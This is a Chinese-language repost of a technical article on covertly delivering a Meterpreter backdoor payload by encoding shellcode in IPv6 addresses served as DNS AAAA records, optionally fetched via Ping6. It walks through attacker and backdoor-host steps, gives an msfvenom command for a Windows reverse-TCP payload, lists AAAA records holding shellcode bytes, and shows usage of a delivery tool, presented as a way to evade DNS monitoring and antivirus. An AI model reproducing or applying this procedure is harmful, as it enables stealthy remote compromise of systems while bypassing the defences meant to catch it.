本文将介绍如何使用DNS流量中的IPv6地址(AAAA)记录传输有效载荷(payload)。
第I部分:DNS AAAA记录和ICMPv6
第II部分:DNS和AAAA记录(大型DNS AAAA记录响应)
IPv6地址是传输有效载荷的好媒介,方法也比较简单。
比如,我们有如下所示的IPv6地址:
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
在该例子中,我们可以为我们的有效载荷使用IPv6地址的“xxxx”部分。
fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz
针对我们的有效载荷,有两种方式使用该IPv6地址。其一,我们可以使用DNS和AAAA记录,其二,使用这些IPv6地址和DNS AAAA记录及通过Ping6的ICMPv6流量。
ICMPv6和Ping6:在该例子中,可以用注入的有效载荷将攻击者IPv6地址更改为伪IPv6地址,然后可通过Ping6循环从后门系统获得这些IPv6地址(ICMPv6流量)。
因此我们获得的是:
(后门系统)IP地址={192-168-1-120}
(攻击者系统)IP地址={192-168-1-111 ,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
(攻击者系统) DNS名称 =test.domain.com,安装的DNS服务为{dnsmasq或dnsspoof}
DNS AAAA记录和ICMPv6步骤:
第1步:(攻击者DNS服务器)record0=>fe80:1111:0034:abcd:ef00:ab11:ccf1:0000AAAA test.domain.com
第2步:(后门系统)==>nslookup test.domain.com 192-168-1-111
第3步:(后门系统)循环Ping6=> (攻击者系统fe80:1111:0034:abcd:ef00:ab11:ccf1:0000)
第4步:(后门系统)转储通过Ping6响应在IPv6地址中注入的有效载荷,转储这些部分 {0034:abcd:ef00:ab11:ccf1}
第5步:(攻击者DNS服务器)record0更改为test.domain.com的新AAAA
第6步:(攻击者DNS服务器)record0=>fe80:1111:cf89:abff:000e:09b1:33b1:0001AAAA test.domain.com
第6-1步:(攻击者系统)通过ifconfigeth0添加或更改NIC IPv6地址{ 新IPv6地址:fe80:1111:cf89:abff:000e:09b1:33b1:0001}
第6-2步:第3步的ping6响应 = 超时或不可访问(错误),此时为获取新IPv6地址的标志,或可能是你的流量被检测出并被阻止。
第7步:(后门系统)=>nslookup test.domain.com 192-168-1-111
第8步:(后门系统)循环Ping6test.domain.com => {新IPv6 地址fe80:1111:cf89:abff:000e:09b1:33b1:0001}
第9步:(后门系统)转储通过Ping6响应在IPv6地址中注入的有效载荷,转储这些部分:{cf89:abff:000e:09b1:33b1}
注1:何时知道IPv6地址已更改?当来自攻击者系统的ping6响应为超时或无法访问时,或者可通过Nslookup检查。
注2:你也可以使用第6-1步不需要的攻击者NIC的多个ipv6地址。此时注1不再适用。在这种情况下,通过nslookup之类的工具从攻击者系统获取新ipv6地址时应使用定时器或循环。这意味着可通过Nslookup、DNS轮询功能及分块IPv6 DNS名称从后门系统获得攻击者系统的逐行IPv6地址。
通过这些步骤获得了借助DNS和ICMPv6流量的20个字节的有效载荷,如下所示:
payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==> 0034:abcd:ef00:ab11:ccf1
payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==> cf89:abff:000e:09b1:33b1
因此,两个Ping6后我们获得如下有效载荷:
响应:0034abcdef00ab11ccf1cf89abff000e09b133b1
但在该技术中,你只能通过DNS流量实现这一点,这意味着你可以去掉Ping6的所有步骤。因此,如果你希望不使用Ping6和ICMPv6流量实现这一点,你只能在第2步和第7步中通过DNS响应从DNS服务器转储有效载荷(我们在第II部分中讨论这一点)。
下面将通过一些图片简要介绍DNS AAAA+ ICMPv6技术。
图A
在图A中可以看到,DNS名称test.domain.com有8个AAAA记录,还可以看到该IPv6地址的Ping响应。在该技术中,可通过1或2个请求下载DNS名称,如果想使用ICMPv6,则可以使用这些IPv6地址的Ping6。
在图A中,我们有8个AAAA记录,所以我们有8 *10字节= 80字节Meterpreter有效载荷!
fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0test.domain.com
fe80:1111:4151:4150:5251:5648:31d2:ae1test.domain.com
fe80:1111:6548:8b52:6048:8b52:1848:ae2test.domain.com
fe80:1111:8b52:2048:8b72:5048:0fb7:ae3test.domain.com
fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4test.domain.com
fe80:1111:617c:022c:2041:c1c9:0d41:ae5test.domain.com
fe80:1111:01c1:e2ed:5241:5148:8b52:ae6test.domain.com
fe80:1111:208b:423c:4801:d066:8178:ae7test.domain.com
PAYLOAD0=fc4883e4f0e8cc000000 and Counter = ae0
PAYLOAD1=415141505251564831d2 and Counter = ae1
所以我们有该有效载荷=fc4883e4f0e8cc000000415141505251564831d2
为何Ping?何时可通过DNS请求获得有效载荷?
如果DNS请求为DNS请求循环或拥有AAAA记录的大量响应的DNS请求,则这可能标志会被DNS监控工具检测到。如果在每个DNSAAAA响应后有1或2个AAAA记录的ping6,则这是正常流量,被DNS监控设备或工具检测到的风险很低。
比如,你可以只使用拥有1、2或3个AAAA记录的一个响应的一个请求。这意味着,如果你的响应有4个或更多AAAA记录,则网络监控设备/工具可能会检测到你的流量。
从图A中可以看到,我对test.domain.com的请求在响应中有8个AAAA记录。
所以在这种情况下,你应该在IPv6地址和DNS名称中对你的有效载荷分块。
我们来解释一下ICMPv6,如果你想通过IPV6地址ping一个系统,首先你应得到该系统的IPv6地址,所以你总是需要DNS请求。重点是,要转储所有IPv6地址及转储在IPv6地址中注入的Meterpreter有效载荷,你需要多少DNS请求?
如果你想通过一个请求和一个响应获得所有IPv6地址,则一个DNS响应中的AAAA记录过多,因此被检测到的风险较高。如图A1所示:
图A1
在下面的图A2中,你可以看到2个请求的长度,第一个为小响应,第二个为大响应。
图A2
从图A2中可以看到,我们有两个DNSAAAA响应,第一个长度为132(小响应),第二个长度为1503(大响应)。
我们将解释通过DNS AAAA记录转储所有IPv6地址的一个请求和一个响应,但在这种情况下,我们要谈论DNS + ICMPv6方法,及检测大DNS AAAA记录响应的风险,从图A2中可以看到,第二个响应的长度较大,在这样的长度下,被DNS监控工具检测到的风险较高。
从下面的图B中可以看到,我们的有效载荷是在3个DNS名称中{test0.domain.com 、test1.domain.com、test2.domain.com}
我们对每个“100%Ping回复”IPv6地址进行了ping6。
因此在这个例子中,我们有3个请求和3个响应,每个响应有两个AAAA记录,每个DNS AAAA响应后有ICMPv6流量,最终,DNS响应的长度较小。
图B
注意:对于Ping6回复,我们的Linux系统中有多个IPv6地址,如图C所示。
你可以通过“Ifconfig或多个IPv6分配到NIC”执行第6-1步,如图C所示。
图C
我们的DNS查询如图C1所示:
图C1
下面的图D中是对请求和响应分块的另一个例子:
图D
下面的图E中是DNS请求和响应的DNS服务器日志:
图E
从上面的图片可以看出,该方法在技术上是可行的,我们后续将推出该方法的C#源代码。
现在我们探讨一下DNS和AAAA记录,并探讨一下如何通过从伪DNS服务器到后门系统的一个DNS请求和一个DNS响应获得这些有效载荷。我们讨论一下大型AAAA响应,其意味着在一个DNS响应后你可以获得后门系统中的所有有效载荷,并可以通过一个DNS AAAA响应获得Meterpreter会话。
用NativePaylaod_IP6DNS工具通过DNS AAAA记录传输后门有效载荷的步骤:
第1步:用主机文件制作FakeDnsServer。
在这种情况下对于攻击者系统,我们使用dnsmasq工具和dnsmasq.hosts文件。
在制作文件前需要有效载荷,通过以下命令可获得一个有效载荷:
Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp lhost192-168-1-50 -f c >/payload.txt
注意:在该例子中,192-168-1-50是攻击者伪Dns服务器和攻击者Metasploit监听器。
现在可以通过该有效载荷字符串制作主机文件了(如图1所示),可通过以下语法制作:
syntax1:NativePayload_IP6DNS.exe null0034abcdef00ab11ccf1cf89abff000e09b133b1...
图1
现在将这些IPv6地址拷贝到DNS主机文件(如图2所示),每行IPv6地址后所需的DNS名称见图2。
图2
在该例子中,对于DNS服务器,我们可以使用dnsmasq工具,因此你可以使用/etc / hosts文件或/etc/dnsmasq.hosts
这取决于你的dnsmasq工具的配置。
你可以通过以下命令启动你的DNS服务器,如图3所示:
图3
启动DNS服务器后,你的dnsmasq应该会从主机文件中读取至少51个地址。
最终,使用该语法,你可以通过一个DNSIPv6 AAAA记录响应获得Meterpreter会话(一个大型响应,如A2所示,第二个DNS响应长度为1503)
语法:NativePayload_IP6DNS.exe “FQDN” “Fake DNS Server”
语法:NativePayload_IP6DNS.exe test.domain.com 192-168-1-50
图4
DNS流量PTR记录,尤其是IPv6AAAA记录,是传输你的有效载荷的利器,这样可以绕过网络监控或类似的东西,利用这些技术还可以绕过防病毒软件。
NativePayload_IP6DNS.exe工具的C#源代码(DNS AAAA记录)
https://github.com/DamonMohammadbagher/NativePayload_IP6DNS
NativePayload_DNS.exe工具的C#源代码(DNS PTR记录)
https://github.com/DamonMohammadbagher/NativePayload_DNS
*参考来源:LinkedIn,本文作者:华为未然实验室,转载请注明来自FreeBuf
github上的英文介绍貌似不咋地啊,不行就写汉字吧
一毛一样的为啥要发?